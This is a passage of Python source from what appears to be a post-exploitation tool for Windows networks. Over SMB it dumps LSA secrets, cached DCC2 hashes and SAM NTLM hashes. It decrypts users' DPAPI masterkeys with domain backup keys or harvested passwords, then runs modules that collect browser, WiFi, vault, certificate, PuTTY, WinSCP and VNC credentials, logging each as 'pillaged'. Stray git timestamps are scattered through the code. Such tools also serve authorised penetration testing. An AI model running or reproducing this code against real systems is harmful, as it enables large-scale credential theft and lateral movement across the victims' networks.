user . masterkeys_file [ guid ] [ ' key ' ] = decrypted_masterkey
# user.masterkeys[localfile] = decrypted_masterkey
user . type = ' MACHINE-USER '
user . type_validated = True
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . OKBLUE } Decryption successfull { bcolors . ENDC } of Masterkey { guid } for Machine { bcolors . OKGREEN } { user . username } { bcolors . ENDC } \n Key: { decrypted_masterkey } " )
self . db . update_masterkey ( file_path = user . masterkeys_file [ guid ] [ ' path ' ] , guid = guid ,
status = user . masterkeys_file [ guid ] [ ' status ' ] ,
decrypted_with = " MACHINE-USER " , decrypted_value = decrypted_masterkey ,
pillaged_from_computer_ip = self . options . target_ip ,
pillaged_from_username = user . username )
return user . masterkeys_file [ guid ]
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } MACHINE-USER_Key from LSA { key . decode ( ' utf-8 ' ) } can ' t decode { bcolors . OKBLUE } { user . username } { bcolors . WARNING } Masterkey { guid } { bcolors . ENDC } " )
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] Exception { bcolors . WARNING } MACHINE-USER_Key from LSA { key . decode ( ' utf-8 ' ) } can ' t decode { bcolors . OKBLUE } { user . username } { bcolors . WARNING } Masterkey { guid } { bcolors . ENDC } " )
self . logging . debug ( ex )
else :
tested_type . append ( ' MACHINE-USER ' )
if user . type_validated == False and not user . is_adconnect :
return self . decrypt_masterkey ( user , guid , type = ' DOMAIN ' , tested_type = tested_type )
if ' DOMAIN ' not in tested_type :
return self . decrypt_masterkey ( user , guid , type = ' DOMAIN ' , tested_type = tested_type )
2023-10-06 13:15:07 +00:00
elif type == ' DOMAIN ' :
if self . options . pvk is not None :
# For ADConnect
if user . is_adconnect is True and ' MACHINE-USER ' not in tested_type :
return self . decrypt_masterkey ( user , guid , type = ' MACHINE-USER ' , tested_type = tested_type )
# Try de decrypt masterkey file
self . logging . debug (
f " [ { self . options . target_ip } ] [...] Decrypting { bcolors . OKBLUE } { user . username } { bcolors . ENDC } masterkey { guid } with Domain Backupkey { self . options . pvk } " )
try :
myoptions = copy . deepcopy ( self . options )
myoptions . file = localfile # Masterkeyfile to parse
myoptions . username = user . username
myoptions . sid = user . sid
mydpapi = DPAPI ( myoptions , self . logging )
decrypted_masterkey = mydpapi . decrypt_masterkey ( )
if decrypted_masterkey != - 1 and decrypted_masterkey != None :
# self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: %s" % decrypted_masterkey)
user . masterkeys_file [ guid ] [ ' status ' ] = ' decrypted '
user . masterkeys_file [ guid ] [ ' key ' ] = decrypted_masterkey
# user.masterkeys[localfile] = decrypted_masterkey
user . type = ' DOMAIN '
user . type_validated = True
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . OKBLUE } Decryption successfull { bcolors . ENDC } of Masterkey { guid } for user { bcolors . OKBLUE } { user . username } { bcolors . ENDC } \n Key: { decrypted_masterkey } " )
self . db . update_masterkey ( file_path = user . masterkeys_file [ guid ] [ ' path ' ] , guid = guid ,
status = user . masterkeys_file [ guid ] [ ' status ' ] ,
decrypted_with = " DOMAIN-PVK " ,
decrypted_value = decrypted_masterkey ,
pillaged_from_computer_ip = self . options . target_ip ,
pillaged_from_username = user . username )
return user . masterkeys_file [ guid ]
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Domain Backupkey { self . options . pvk } can ' t decode { bcolors . OKBLUE } { user . username } { bcolors . WARNING } Masterkey { guid } -> Checking with Local user with credz { bcolors . ENDC } " )
# if user.type_validated == False:
tested_type . append ( ' DOMAIN ' )
return self . decrypt_masterkey ( user , guid , ' LOCAL ' , tested_type = tested_type )
except Exception as ex :
2023-10-03 05:27:06 +00:00
self . logging . debug (
2023-10-06 13:15:07 +00:00
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception decrypting { bcolors . OKBLUE } { user . username } { bcolors . ENDC } masterkey { guid } with Domain Backupkey (most likely user is only local user) -> Running for Local user with credz { bcolors . ENDC } " )
self . logging . debug ( f " exception was : { ex } " )
2023-10-03 05:27:06 +00:00
# if user.type_validated == False:
tested_type . append ( ' DOMAIN ' )
return self . decrypt_masterkey ( user , guid , ' LOCAL ' , tested_type = tested_type )
2023-10-06 13:15:07 +00:00
else :
2023-10-03 05:27:06 +00:00
tested_type . append ( ' DOMAIN ' )
2023-10-06 13:15:07 +00:00
elif ' LOCAL ' not in tested_type :
2023-10-03 05:27:06 +00:00
# On a des credz
2023-10-06 13:15:07 +00:00
if len ( self . options . credz ) > 0 and user . masterkeys_file [ guid ] [
' status ' ] != ' decrypted ' : # localfile not in user.masterkeys:
self . logging . debug (
f " [ { self . options . target_ip } ] [...] Testing decoding { bcolors . OKBLUE } { user . username } { bcolors . ENDC } Masterkey { guid } with credz " )
for username in self . options . credz :
if username . lower ( ) in user . username . lower ( ) : # pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ?
# self.logging.debug(f"[{self.options.target_ip}] [...] Testing {len(self.options.credz[username])} credz for user {user.username}")
# for test_cred in self.options.credz[user.username]:
try :
2023-10-03 05:27:06 +00:00
self . logging . debug (
2023-10-06 13:15:07 +00:00
f " [ { self . options . target_ip } ]Trying to decrypt { bcolors . OKBLUE } { user . username } { bcolors . ENDC } Masterkey { guid } with user SID { user . sid } and { len ( self . options . credz [ username ] ) } credential(s) from credz file " )
myoptions = copy . deepcopy ( self . options )
myoptions . file = localfile # Masterkeyfile to parse
# myoptions.password = self.options.credz[username]
myoptions . sid = user . sid
myoptions . pvk = None
myoptions . key = None
mydpapi = DPAPI ( myoptions , self . logging )
decrypted_masterkey = mydpapi . decrypt_masterkey ( passwords = self . options . credz [ username ] )
if decrypted_masterkey != - 1 and decrypted_masterkey != None :
# self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}")
user . masterkeys_file [ guid ] [ ' status ' ] = ' decrypted '
user . masterkeys_file [ guid ] [ ' key ' ] = decrypted_masterkey
# user.masterkeys[localfile] = decrypted_masterkey
user . type = ' LOCAL '
user . type_validated = True
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . OKBLUE } Decryption successfull { bcolors . ENDC } of Masterkey { guid } for User { bcolors . OKGREEN } { user . username } { bcolors . ENDC } \n Key: { decrypted_masterkey } " )
self . db . update_masterkey ( file_path = user . masterkeys_file [ guid ] [ ' path ' ] , guid = guid ,
status = user . masterkeys_file [ guid ] [ ' status ' ] ,
decrypted_with = f " Password: { self . options . credz [ username ] } " ,
decrypted_value = decrypted_masterkey ,
pillaged_from_computer_ip = self . options . target_ip ,
pillaged_from_username = user . username )
return user . masterkeys_file [ guid ]
else :
self . logging . debug (
f " [ { self . options . target_ip } ] error decrypting { bcolors . OKBLUE } { user . username } { bcolors . ENDC } masterkey { guid } with { len ( self . options . credz [ username ] ) } passwords from user { username } in cred list " )
except Exception as ex :
2023-10-03 05:27:06 +00:00
self . logging . debug (
2023-10-06 13:15:07 +00:00
f " [ { self . options . target_ip } ] Except decrypting { bcolors . OKBLUE } { user . username } { bcolors . ENDC } masterkey with { len ( self . options . credz [ username ] ) } passwords from user { username } in cred list " )
self . logging . debug ( ex )
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . FAIL } no credential in credz file for user { user . username } and masterkey { guid } { bcolors . ENDC } " )
tested_type . append ( ' LOCAL ' )
2023-10-03 05:27:06 +00:00
if user . masterkeys_file [ guid ] [ ' status ' ] == ' encrypted ' :
if ' DOMAIN ' not in tested_type :
return self . decrypt_masterkey ( user , guid , ' DOMAIN ' , tested_type = tested_type )
elif ' MACHINE ' not in tested_type :
return self . decrypt_masterkey ( user , guid , ' MACHINE ' , tested_type = tested_type )
elif ' MACHINE-USER ' not in tested_type :
return self . decrypt_masterkey ( user , guid , ' MACHINE-USER ' , tested_type = tested_type )
# on a pas su le dechiffrer, mais on conseve la masterkey
''' if localfile not in user.masterkeys:
user . masterkeys [ localfile ] = None '''
if user . masterkeys_file [ guid ] [ ' status ' ] == ' encrypted ' :
user . masterkeys_file [ guid ] [ ' status ' ] = ' decryption_failed '
self . db . update_masterkey ( file_path = user . masterkeys_file [ guid ] [ ' path ' ] , guid = guid ,
status = user . masterkeys_file [ guid ] [ ' status ' ] , decrypted_with = ' ' ,
decrypted_value = ' ' ,
pillaged_from_computer_ip = self . options . target_ip ,
pillaged_from_username = user . username )
return - 1
elif user . masterkeys_file [ guid ] [ ' status ' ] == ' decrypted ' : # Should'nt go here
return user . masterkeys_file [ guid ]
def test_remoteOps ( self ) :
2023-10-06 13:15:07 +00:00
filedest = os . path . join ( self . options . output_directory , self . options . target_ip )
2023-10-03 05:27:06 +00:00
try :
# Remove logging
# logging.getLogger().setLevel(logging.CRITICAL)
2023-10-06 13:15:07 +00:00
self . logging . info ( f " [ { self . options . target_ip } ] { bcolors . OKBLUE } [+] Dumping LSA Secrets { bcolors . ENDC } " )
2023-10-03 05:27:06 +00:00
self . __remoteOps = MyRemoteOperations ( self . smb , self . options . k , self . options . dc_ip )
self . __remoteOps . setExecMethod ( ' smbexec ' )
self . __remoteOps . enableRegistry ( )
self . __bootKey = self . __remoteOps . getBootKey ( )
self . logging . debug ( f " bootkey: { self . __bootKey } " )
SECURITYFileName = self . __remoteOps . saveSECURITY ( )
2023-10-06 13:15:07 +00:00
SECURITYFileName . _RemoteFile__fileName = ntpath . join ( " Windows " , SECURITYFileName . _RemoteFile__fileName )
2023-10-03 05:27:06 +00:00
self . logging . debug ( " savesecurity " )
self . __LSASecrets = MyLSASecrets ( SECURITYFileName , self . __bootKey , self . __remoteOps , isRemote = True ,
history = True )
self . logging . debug ( " LSASecret " )
self . __LSASecrets . dumpCachedHashes ( )
self . logging . debug ( " dump cached hashes " )
self . __LSASecrets . dumpSecrets ( )
2023-10-06 13:15:07 +00:00
filedest_lsa = os . path . join ( filedest , ' LSA ' )
Path ( os . path . split ( filedest_lsa . replace ( ' \\ ' , ' / ' ) ) [ 0 ] ) . mkdir ( parents = True , exist_ok = True )
self . logging . debug ( f " [ { self . options . target_ip } ] Dumping LSA Secrets to file { filedest_lsa } " )
finalfile = self . __LSASecrets . exportSecrets ( filedest_lsa )
2023-10-03 05:27:06 +00:00
self . logging . debug ( " ret file %s " % finalfile )
2023-10-06 13:15:07 +00:00
self . __LSASecrets . exportCached ( filedest_lsa )
2023-10-03 05:27:06 +00:00
# Analyser les hash DCC2 pour un export massif.
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] Except remoteOps LSA " )
self . logging . debug ( ex )
try :
tmp_filedest = filedest + ' .secrets '
f = open ( tmp_filedest , ' rb ' )
secrets = f . read ( ) . split ( b ' \n ' )
f . close ( )
for index , secret in enumerate ( secrets ) :
if b ' dpapi_machinekey ' in secret :
self . logging . info (
f " [ { self . options . target_ip } ] { bcolors . OKBLUE } [-] Found DPAPI Machine key { bcolors . ENDC } : { secret . split ( b ' dpapi_machinekey: ' ) [ 1 ] . decode ( ' utf-8 ' ) } " )
# print(secret.split(b'dpapi_machinekey:')[1])
self . machine_key . append ( secret . split ( b ' dpapi_machinekey: ' ) [ 1 ] )
self . logging . debug ( self . machine_key )
if b ' dpapi_userkey ' in secret :
self . logging . info (
f " [ { self . options . target_ip } ] { bcolors . OKBLUE } [-] Found DPAPI User key { bcolors . ENDC } : { secret . split ( b ' dpapi_userkey: ' ) [ 1 ] . decode ( ' utf-8 ' ) } " )
self . user_key . append ( secret . split ( b ' dpapi_userkey: ' ) [ 1 ] )
self . logging . debug ( self . user_key )
if b ' : ' in secret :
if secret . count ( b ' : ' ) == 1 :
username , password = secret . split ( b ' : ' )
if username . decode ( ' utf-8 ' ) not in [ ' dpapi_machinekey ' , ' dpapi_userkey ' , ' NL$KM ' ] :
if username . decode ( ' utf-8 ' ) not in self . options . credz :
self . options . credz [ username . decode ( ' utf-8 ' ) ] = [ password . decode ( ' utf-8 ' ) ]
self . logging . info (
f " [ { self . options . target_ip } ] [+] { bcolors . OKBLUE } LSA : { bcolors . OKGREEN } { username . decode ( ' utf-8 ' ) } : { password . decode ( ' utf-8 ' ) } { bcolors . ENDC } " )
else :
if password . decode ( ' utf-8 ' ) not in self . options . credz [ username . decode ( ' utf-8 ' ) ] :
self . options . credz [ username . decode ( ' utf-8 ' ) ] . append ( password . decode ( ' utf-8 ' ) )
self . logging . info (
f " [ { self . options . target_ip } ] [+] { bcolors . OKBLUE } LSA : { bcolors . OKGREEN } { username . decode ( ' utf-8 ' ) } : { password . decode ( ' utf-8 ' ) } { bcolors . ENDC } " )
############PROCESSING DATA
self . db . add_credz ( credz_type = ' LSA ' ,
credz_username = username . decode ( ' utf-8 ' ) ,
credz_password = password . decode ( ' utf-8 ' ) ,
credz_target = ' ' ,
credz_path = tmp_filedest ,
pillaged_from_computer_ip = self . options . target_ip ,
pillaged_from_username = ' MACHINE$ ' )
else :
self . logging . debug ( " Secret %i - %s " % ( index , secret ) )
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] Except remoteOps Secrets " )
self . logging . debug ( ex )
try :
##Add DCC2
tmp_filedest = filedest + ' .cached '
f = open ( tmp_filedest , ' rb ' )
secrets = f . read ( ) . split ( b ' \n ' )
f . close ( )
for index , secret in enumerate ( secrets ) :
if b ' : ' in secret and b ' # ' in secret :
if secret . count ( b ' : ' ) == 1 :
username , password = secret . split ( b ' : ' )
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . OKBLUE } [-] Found DCC2 hash : { bcolors . OKGREEN } { secret . decode ( ' utf-8 ' ) } { bcolors . ENDC } " )
############PROCESSING DATA
self . db . add_credz ( credz_type = ' DCC2 ' ,
credz_username = username . decode ( ' utf-8 ' ) ,
credz_password = password . decode ( ' utf-8 ' ) ,
credz_target = ' ' ,
credz_path = tmp_filedest ,
pillaged_from_computer_ip = self . options . target_ip ,
pillaged_from_username = ' MACHINE$ ' )
else :
self . logging . debug ( " Secret %i - %s " % ( index , secret ) )
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] Except remoteOps LSA DCC2 " )
self . logging . debug ( ex )
try :
# Add SAM
2023-10-06 13:15:07 +00:00
self . logging . info ( f " [ { self . options . target_ip } ] { bcolors . OKBLUE } [+] Dumping SAM Secrets { bcolors . ENDC } " )
2023-10-03 05:27:06 +00:00
SAMFileName = self . __remoteOps . saveSAM ( )
2023-10-06 13:15:07 +00:00
SAMFileName . _RemoteFile__fileName = ntpath . join ( " Windows " , SAMFileName . _RemoteFile__fileName )
2023-10-03 05:27:06 +00:00
self . __SAMHashes = MySAMHashes ( SAMFileName , self . __bootKey , isRemote = True )
self . __SAMHashes . dump ( )
2023-10-06 13:15:07 +00:00
filedest_sam = os . path . join ( filedest , ' SAM ' )
self . __SAMHashes . export ( filedest_sam )
2023-10-03 05:27:06 +00:00
# Adding SAM hash to credz
2023-10-06 13:15:07 +00:00
tmp_filedest = filedest_sam + ' .sam '
2023-10-03 05:27:06 +00:00
f = open ( tmp_filedest , ' rb ' )
sam_data = f . read ( ) . split ( b ' \n ' )
f . close ( )
for sam_line in sam_data :
if b ' : ' in sam_line :
if sam_line . count ( b ' : ' ) == 6 :
username , sid , lm , ntlm , _ , _ , _ = sam_line . split ( b ' : ' )
# On ne l'ajoute pas aux credz, c'est un hash NTLM, il ne peut pas etre utilisé par dpapi
'''
if username . decode ( ' utf-8 ' ) not in self . options . credz :
self . options . credz [ username . decode ( ' utf-8 ' ) ] = [ ntlm . decode ( ' utf-8 ' ) ]
else :
if ntlm . decode ( ' utf-8 ' ) not in self . options . credz [ username . decode ( ' utf-8 ' ) ] :
self . options . credz [ username . decode ( ' utf-8 ' ) ] . append ( ntlm . decode ( ' utf-8 ' ) )
'''
############PROCESSING DATA
self . db . add_credz ( credz_type = ' SAM ' ,
credz_username = username . decode ( ' utf-8 ' ) ,
credz_password = ntlm . decode ( ' utf-8 ' ) ,
credz_target = ' ' ,
credz_path = tmp_filedest ,
pillaged_from_computer_ip = self . options . target_ip ,
pillaged_from_username = ' MACHINE$ ' )
self . logging . info (
2023-10-06 13:15:07 +00:00
f " [ { self . options . target_ip } ] [+] { bcolors . OKBLUE } SAM : Collected { bcolors . OKGREEN } { len ( sam_data ) } hashes { bcolors . ENDC } " )
2023-10-03 05:27:06 +00:00
# logging.getLogger().setLevel(logging.DEBUG)
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] Except remoteOps SAM " )
self . logging . debug ( ex )
self . __remoteOps . finish ( )
return 1
def GetRecentFiles ( self ) :
myRecentFiles = recent_files ( self . smb , self . myregops , self . myfileops , self . logging , self . options , self . db ,
self . users )
myRecentFiles . run ( )
def GetMRemoteNG ( self ) :
from software . manager . mRemoteNG import mRemoteNG
myMRemoteNG = mRemoteNG ( self . smb , self . myregops , self . myfileops , self . logging , self . options , self . db ,
self . users )
myMRemoteNG . run ( )
def GetPutty ( self ) :
from software . sysadmin . putty import Putty
myPutty = Putty ( self . smb , self . myregops , self . myfileops , self . logging , self . options , self . db )
myPutty . run ( )
def GetWinscp ( self ) :
from software . sysadmin . winscp import Winscp
myWinscp = Winscp ( self . smb , self . myregops , self . myfileops , self . logging , self . options , self . db )
myWinscp . run ( )
def GetNew_Module ( self ) :
myNewModule = new_module ( self . smb , self . myregops , self . myfileops , self . logging , self . options , self . db ,
self . users )
myNewModule . run ( )
def GetCertificates ( self ) :
certificates_triage = CertificatesTriage ( self . smb , self . myregops , self . myfileops , self . logging , self . options ,
self . db , self . users , self . user_key , self . machine_key )
certificates_triage . run ( )
def do_test ( self ) :
try :
if self . admin_privs and True :
# self.do_info()
self . do_who ( )
self . get_users ( )
#
if self . options . no_remoteops == False :
try :
self . test_remoteOps ( )
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] Exception in RemoteOps - Maybe blocked by EDR ? " )
self . logging . debug ( f " exception was : { ex } " )
# self.
if self . options . no_dpapi == False :
self . get_masterkeys ( )
self . Get_DPAPI_Protected_Files ( )
self . GetWifi ( )
self . GetVaults ( )
self . GetCertificates ( )
if self . options . no_browser == False :
self . GetChromeSecrets ( )
self . GetEdgeSecrets ( )
self . GetMozillaSecrets_wrapper ( )
if self . options . no_sysadmins == False :
self . GetMRemoteNG ( )
self . GetPutty ( )
self . GetWinscp ( )
if self . options . no_vnc == False :
self . GetVNC ( )
if self . options . no_recent == False :
self . GetRecentFiles ( )
"""
* * * Dev your new module code and start it from here
if self . options . no_new_module == False :
self . GetNew_Module ( )
"""
# self.logging.info(f"[{self.options.target_ip}] {bcolors.OKGREEN}*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=*\n{bcolors.ENDC}")
# for user in self.users:
# user.resume_user_info()
# user.resume_secrets()
# else:
# NOT ADMIN
self . close_smb ( )
except Exception as ex :
self . logging . debug ( f " [ { self . options . target_ip } ] Not connected " )
self . logging . debug ( f " exception was : { ex } " )
def get_secrets ( self ) :
all_secrets = { }
for user in self . users :
all_secrets [ user ] = user . get_secrets ( )
2021-09-27 09:20:43 +00:00
# DPAPI unprotect
# DPAPI decryptMasterkey
# DPAPI GetDomainBackupMasterKey
# dpapi.py backupkeys -t TOUF/Administrateur:xxxxx@10.0.0.10 --export
2023-07-01 15:20:13 +00:00
# to get Dropbox decrypted databases?
2021-09-27 09:20:43 +00:00
# to get iCloud authentication tokens?
# to decrypt EFS files
2023-07-01 15:20:13 +00:00
# ADConnect 'Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf'
# Program Files\Microsoft Azure AD Sync\Data\ADSync_log.ldf
# optimisation :
# le user est il du domain ou local ?
# dans quel cas peut on dechifffrer avec les hashs ? // si compte admin on se sert des hash locaux/sam ?
2021-09-27 09:20:43 +00:00
2023-07-01 15:20:13 +00:00
# DEV : [get_file] SMB SessionError: STATUS_SHARING_VIOLATION(A file cannot be opened because the share access flags are incompatible.)